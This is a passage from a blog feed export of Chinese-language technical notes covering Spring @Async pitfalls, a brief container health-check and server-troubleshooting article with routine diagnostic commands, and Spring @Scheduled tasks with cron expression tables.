等待任务完成</span></span><br><span class="line">    executor.setAwaitTerminationSeconds(<span class="number">60</span>);              <span class="comment">// 最多等60秒</span></span><br><span class="line">    executor.initialize();</span><br><span class="line">    <span class="keyword">return</span> executor;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><h3 id="1-同类调用不生效"><a href="#1-同类调用不生效" class="headerlink" title="1. 同类调用不生效"></a>1. 同类调用不生效</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 错误：同类中直接调用，不走代理</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        sendEmail();  <span class="comment">// @Async 不生效！</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendEmail</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationContext context;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">OrderService</span> <span class="variable">proxy</span> <span class="operator">=</span> context.getBean(OrderService.class);</span><br><span class="line">        proxy.sendEmail();  <span class="comment">// 通过代理调用</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendEmail</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-返回值"><a href="#2-返回值" class="headerlink" title="2. 返回值"></a>2. 返回值</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 正确：返回 Future 或 CompletableFuture</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> CompletableFuture&lt;String&gt; <span class="title function_">asyncMethod</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> CompletableFuture.completedFuture(<span class="string">&quot;result&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 错误：void 方法无法获取结果或异常</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">fireAndForget</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 如果抛异常，调用方不知道</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-异常处理"><a href="#3-异常处理" class="headerlink" title="3. 异常处理"></a>3. 异常处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SafeAsyncService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> CompletableFuture&lt;String&gt; <span class="title function_">safeAsync</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> doWork();</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                log.error(<span class="string">&quot;异步任务异常&quot;</span>, e);</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">CompletionException</span>(e);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 全局异常处理</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncExceptionHandler</span> <span class="keyword">implements</span> <span class="title class_">AsyncConfigurer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AsyncUncaughtExceptionHandler <span class="title function_">getAsyncUncaughtExceptionHandler</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> (ex, method, params) -&gt; &#123;</span><br><span class="line">            log.error(<span class="string">&quot;异步方法异常: &#123;&#125;.&#123;&#125;, 参数: &#123;&#125;&quot;</span>, </span><br><span class="line">                method.getDeclaringClass().getName(),</span><br><span class="line">                method.getName(),</span><br><span class="line">                Arrays.toString(params),</span><br><span class="line">                ex);</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-事务问题"><a href="#4-事务问题" class="headerlink" title="4. 事务问题"></a>4. 事务问题</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransactionalService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 异步方法在新线程中，事务上下文不共享</span></span><br><span class="line">        sendEmail();  <span class="comment">// 邮件发送不在事务中</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="meta">@Transactional</span>  <span class="comment">// 需要单独的事务</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendEmail</span><span class="params">()</span> &#123;</span><br><span class="line">        emailLogDao.save(log);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="5-超时控制"><a href="#5-超时控制" class="headerlink" title="5. 超时控制"></a>5. 超时控制</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TimeoutService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> CompletableFuture&lt;String&gt; <span class="title function_">withTimeout</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">            <span class="comment">// 耗时操作</span></span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;result&quot;</span>;</span><br><span class="line">        &#125;).orTimeout(<span class="number">5</span>, TimeUnit.SECONDS)  <span class="comment">// 5秒超时</span></span><br><span class="line">          .exceptionally(ex -&gt; &#123;</span><br><span class="line">              log.error(<span class="string">&quot;超时或异常&quot;</span>, ex);</span><br><span class="line">              <span class="keyword">return</span> <span class="string">&quot;default&quot;</span>;</span><br><span class="line">          &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="与-Transactional-结合"><a href="#与-Transactional-结合" class="headerlink" title="与 @Transactional 结合"></a>与 @Transactional 结合</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 保存订单（在主事务中）</span></span><br><span class="line">        <span class="type">Order</span> <span class="variable">order</span> <span class="operator">=</span> orderDao.save(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 异步发送通知（在新线程中）</span></span><br><span class="line">        notificationService.sendOrderNotification(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 注意：如果主事务回滚，异步通知可能已发送</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>推荐做法</strong>：事务提交后再异步</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationEventPublisher eventPublisher;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="type">Order</span> <span class="variable">order</span> <span class="operator">=</span> orderDao.save(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 发布事件，事务提交后才执行</span></span><br><span class="line">        eventPublisher.publishEvent(<span class="keyword">new</span> <span class="title class_">OrderCreatedEvent</span>(order));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderEventListener</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="meta">@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 事务提交后才执行</span></span><br><span class="line">        sendNotification(event.getOrder());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>注意点</th><th>说明</th></tr></thead><tbody><tr><td>同类调用</td><td>必须通过代理</td></tr><tr><td>返回值</td><td>用 CompletableFuture</td></tr><tr><td>异常</td><td>配置全局异常处理器</td></tr><tr><td>事务</td><td>异步方法事务独立</td></tr><tr><td>超时</td><td>使用 orTimeout</td></tr><tr><td>线程池</td><td>按业务隔离</td></tr></tbody></table><p>@Async 是简单的异步方案，适合非关键的异步任务。关键业务建议使用消息队列。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="容器健康检查为什么重要"><a href="#容器健康检查为什么重要" class="headerlink" title="容器健康检查为什么重要"></a>容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringScheduling定时任务</title>
      <link href="//springscheduling-ding-shi-ren-wu/"/>
      <url>//springscheduling-ding-shi-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringScheduling定时任务"><a href="#SpringScheduling定时任务" class="headerlink" title="SpringScheduling定时任务"></a>SpringScheduling定时任务</h1><p>Spring 提供了内置的任务调度支持，通过 @Scheduled 注解可以轻松实现定时任务。</p><h2 id="启用定时任务"><a href="#启用定时任务" class="headerlink" title="启用定时任务"></a>启用定时任务</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableScheduling</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SchedulingConfig</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Scheduled-注解"><a href="#Scheduled-注解" class="headerlink" title="@Scheduled 注解"></a>@Scheduled 注解</h2><h3 id="固定频率（fixedRate）"><a href="#固定频率（fixedRate）" class="headerlink" title="固定频率（fixedRate）"></a>固定频率（fixedRate）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FixedRateTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每5秒执行一次，不管上次是否完成</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 5000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;固定频率执行: &quot;</span> + LocalDateTime.now());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="固定延迟（fixedDelay）"><a href="#固定延迟（fixedDelay）" class="headerlink" title="固定延迟（fixedDelay）"></a>固定延迟（fixedDelay）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FixedDelayTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 上次执行完成后，延迟3秒再执行</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedDelay = 3000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;开始执行: &quot;</span> + LocalDateTime.now());</span><br><span class="line">        Thread.sleep(<span class="number">2000</span>);  <span class="comment">// 模拟耗时2秒</span></span><br><span class="line">        System.out.println(<span class="string">&quot;执行完成: &quot;</span> + LocalDateTime.now());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="初始延迟（initialDelay）"><a href="#初始延迟（initialDelay）" class="headerlink" title="初始延迟（initialDelay）"></a>初始延迟（initialDelay）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InitialDelayTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 启动后延迟10秒开始，然后每5秒执行</span></span><br><span class="line">    <span class="meta">@Scheduled(initialDelay = 10000, fixedRate = 5000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;执行: &quot;</span> + LocalDateTime.now());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Cron-表达式"><a href="#Cron-表达式" class="headerlink" title="Cron 表达式"></a>Cron 表达式</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CronTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每秒执行</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;* * * * * *&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">everySecond</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每秒执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每分钟执行</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 * * * * *&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">everyMinute</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每分钟执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每小时执行</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 0 * * * *&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">everyHour</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每小时执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每天凌晨2点</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 0 2 * * *&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">dailyAt2AM</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每天凌晨2点执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每周一早上8点</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 0 8 * * MON&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">weeklyMonday</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每周一早上8点执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每月1号凌晨1点</span></span><br><span class="line">    <span class="meta">@Scheduled(cron = &quot;0 0 1 1 * *&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">monthly</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;每月1号执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Cron-表达式详解"><a href="#Cron-表达式详解" class="headerlink" title="Cron 表达式详解"></a>Cron 表达式详解</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">秒 分 时 日 月 星期 [年]</span><br><span class="line"></span><br><span class="line">* * * * * *  每秒</span><br><span class="line">0 * * * * *  每分钟的0秒</span><br><span class="line">0 0 * * * *  每小时的0分0秒</span><br><span class="line">0 0 12 * * * 每天12点</span><br><span class="line">0 0 12 * * ? 每天12点（?表示不指定星期）</span><br><span class="line">0 15 10 ? * * 每天10:15</span><br><span class="line">0 15 10 * * ? 每天10:15</span><br><span class="line">0 15 10 * * ? 2024 2024年每天10:15</span><br><span class="line">0 * 14 * * ? 每天14点的每分钟</span><br><span class="line">0 0/5 14 * * ? 每天14点每5分钟</span><br><span class="line">0 0/5 14,18 * * ? 每天14点和18点每5分钟</span><br><span class="line">0 0-5 14 * * ? 每天14点的0-5分钟</span><br><span class="line">0 15 10 ? * MON-FRI 工作日10:15</span><br><span class="line">0 15 10 15 * ? 每月15日10:15</span><br><span class="line">0 15 10 L * ? 每月最后一日10:15</span><br><span class="line">0 15 10 ? * 6L 每月最后一个星期五10:15</span><br><span class="line">0 15 10 ? * 6#3 每月第3个星期五10:15</span><br></pre></td></tr></table></figure><table><thead><tr><th>字段</th><th>允许值</th><th>特殊字符</th></tr></thead><tbody><tr><td>秒</td><td>0-59</td><td>, - * /</td></tr><tr><td>分</td><td>0-59</td><td>, - * /</td></tr><tr><td>时</td><td>0-23</td><td>, - * /</td></tr><tr><td>日</td><td>1-31</td><td>, - * ? / L W</td></tr><tr><td>月</td><td>1-12</td><td>, - * /</td></tr><tr><td>星期</td><td>1-7 / SUN-SAT</td><td>, - * ? / L #</td></tr></tbody></table><h2 id="异步定时任务"><a href="#异步定时任务" class="headerlink" title="异步定时任务"></a>异步定时任务</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableScheduling</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncSchedulingConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(&quot;taskExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">taskExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">5</span>);</span><br><span class="line">        executor.setMaxPoolSize(<span class="number">10</span>);</span><br><span class="line">        executor.setQueueCapacity(<span class="number">100</span>);</span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;scheduled-&quot;</span>);</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncScheduledTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 异步执行定时任务</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 5000)</span></span><br><span class="line">    <span class="meta">@Async(&quot;taskExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">asyncRun</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;异步执行: &quot;</span> + Thread.currentThread().getName());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="动态配置-Cron"><a href="#动态配置-Cron" class="headerlink" title="动态配置 Cron"></a>动态配置 Cron</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DynamicCronTask</span> <span class="keyword">implements</span> <span class="title class_">SchedulingConfigurer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TaskConfigRepository configRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">configureTasks</span><span class="params">(ScheduledTaskRegistrar taskRegistrar)</span> &#123;</span><br><span class="line">        taskRegistrar.addTriggerTask(</span><br><span class="line">            () -&gt; executeTask(),</span><br><span class="line">            triggerContext -&gt; &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">cron</span> <span class="operator">=</span> configRepository.findCronExpression(<span class="string">&quot;myTask&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">CronTrigger</span>(cron).nextExecutionTime(triggerContext);</span><br><span class="line">            &#125;</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">executeTask</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;动态定时任务执行: &quot;</span> + LocalDateTime.now());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="任务线程池配置"><a href="#任务线程池配置" class="headerlink" title="任务线程池配置"></a>任务线程池配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SchedulingConfig</span> <span class="keyword">implements</span> <span class="title class_">SchedulingConfigurer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">configureTasks</span><span class="params">(ScheduledTaskRegistrar taskRegistrar)</span> &#123;</span><br><span class="line">        taskRegistrar.setScheduler(taskExecutor());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(destroyMethod = &quot;shutdown&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">taskExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Executors.newScheduledThreadPool(<span class="number">10</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="1-任务重叠"><a href="#1-任务重叠" class="headerlink" title="1. 任务重叠"></a>1. 任务重叠</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OverlappingTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 默认单线程，fixedRate可能导致任务堆积</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 1000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        Thread.sleep(<span class="number">3000</span>);  <span class="comment">// 耗时3秒</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：使用 fixedDelay 或配置线程池</p><h3 id="2-异常处理"><a href="#2-异常处理" class="headerlink" title="2. 异常处理"></a>2. 异常处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SafeTask</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 5000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            doWork();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;定时任务异常&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-分布式环境"><a href="#3-分布式环境" class="headerlink" title="3. 分布式环境"></a>3. 分布式环境</h3><p>Spring Task 不支持分布式锁，多实例会重复执行。</p><p><strong>解决</strong>：使用 Quartz + JDBC JobStore 或 ShedLock</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>net.javacrumbs.shedlock<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shedlock-spring<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.x<span class="tag">&lt;/<span 